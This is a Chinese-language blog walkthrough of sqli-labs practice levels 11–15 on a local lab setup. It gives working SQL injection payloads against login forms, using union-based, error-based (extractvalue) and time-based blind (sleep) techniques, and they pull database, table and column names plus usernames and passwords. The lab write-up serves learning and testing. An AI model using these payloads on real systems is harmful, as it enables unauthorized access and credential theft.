SQL注入的实操(三)less11-16

漏洞靶场练习·网安·生命在于折腾 · 2021-12-08 · 122 人浏览
SQL注入的实操(三)less11-16

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

==sql-lib项目,本篇文章介绍关卡11-15。==

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less-11

1、注入判断

post注入,先在username输入admin',密码随便输,返回错误信息,从错误信息可以找到username有注入点,而且应该是字符注入类型。
burp抓到的包是这样的。
在这里插入图片描述
在burp中万能语句,admin' or 1=1 发现正常登录了。
在这里插入图片描述
记得在F12hackbar中将post开启。
在这里插入图片描述

2、确定列数

使用order by。
如果是admin' or order by 3# 会报错,如果是2,则正常显示,所以列数有两列。

3、获取数据库名

输入1(这里随便给个值,目的是让其查不到) admin' union select 1,database()#可以显示出库名。
在这里插入图片描述

4、获取表信息

输入1 admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#就可以查出表信息。
在这里插入图片描述

5、获取列名

输入1 admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#,即可获取列名。
在这里插入图片描述

6、获取用户名、密码

输入1 admin' union select group_concat(username),group_concat(password)from users#即可获取用户名和密码。
在这里插入图片描述

三、less-12

1、尝试判断

输入admin',没有回显,有可能是双引号字符型注入,如果输入admin",报错,所以这里修改为admin") or 1=1#,登陆成功。

2、获取数据库信息

1 admin") union select 1,database()#
在这里插入图片描述

3、获取表信息

输入1 admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述

4、获取列信息

1 admin") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
在这里插入图片描述

5、获取用户名和密码

1 admin") union select group_concat(username),group_concat(password)from users#

在这里插入图片描述

四、less-13

1、尝试判断注入

先尝试admin',报错,看报错信息,修改为admin') or 1=1#,发现没有回显,所以使用报错盲注。

2、获取数据库信息

输入admin') and extractvalue(1,concat('~',(select database()),'~'))#。
在这里插入图片描述

3、获取表名

admin') and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'))#,更改limit可以获取后面的表名。
在这里插入图片描述

4、获取列名

admin') and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'~'))#
在这里插入图片描述

5、获取用户名和密码

admin') and extractvalue(1,concat('~',(select username from users limit 0,1),'~'))#
在这里插入图片描述

五、less-14

1、判断注入

经过测试,发现与十三关类似,这里是报错的双引号盲注,改成admin"就行。

2、获取数据库信息

admin" and extractvalue(1,concat('~',(select database()),'~'))#
在这里插入图片描述

3、获取表信息

admin" and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'))#,更改limit可以获取后面的表名。
在这里插入图片描述

4、获取列名

admin" and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'~'))#
在这里插入图片描述

5、获取用户名和密码

admin" and extractvalue(1,concat('~',(select username from users limit 0,1),'~'))#
在这里插入图片描述

六、less-15

1、尝试判断

输入了admin'、admin"以及加上各种括号都不显示,可能是延迟注入,这里为单引号盲注。

2、获取数据库信息

输入admin' and if(substr((select database()),1,1)='s',sleep(5),1)#==也可以用ascii判断==
在这里插入图片描述

3、获取表信息

输入admin' and if((select count(*)from information_schema.tables where table_schema=database())=4,sleep(5),1)#
在这里插入图片描述

七、总结与小记

本篇文章是sql-lib的11-15关,如果有什么问题请大家海涵,有什么问题请大家评论。

sql
Theme Jasmine by Kent Liao 京ICP备2023023335号-2京公网安备11010802044340号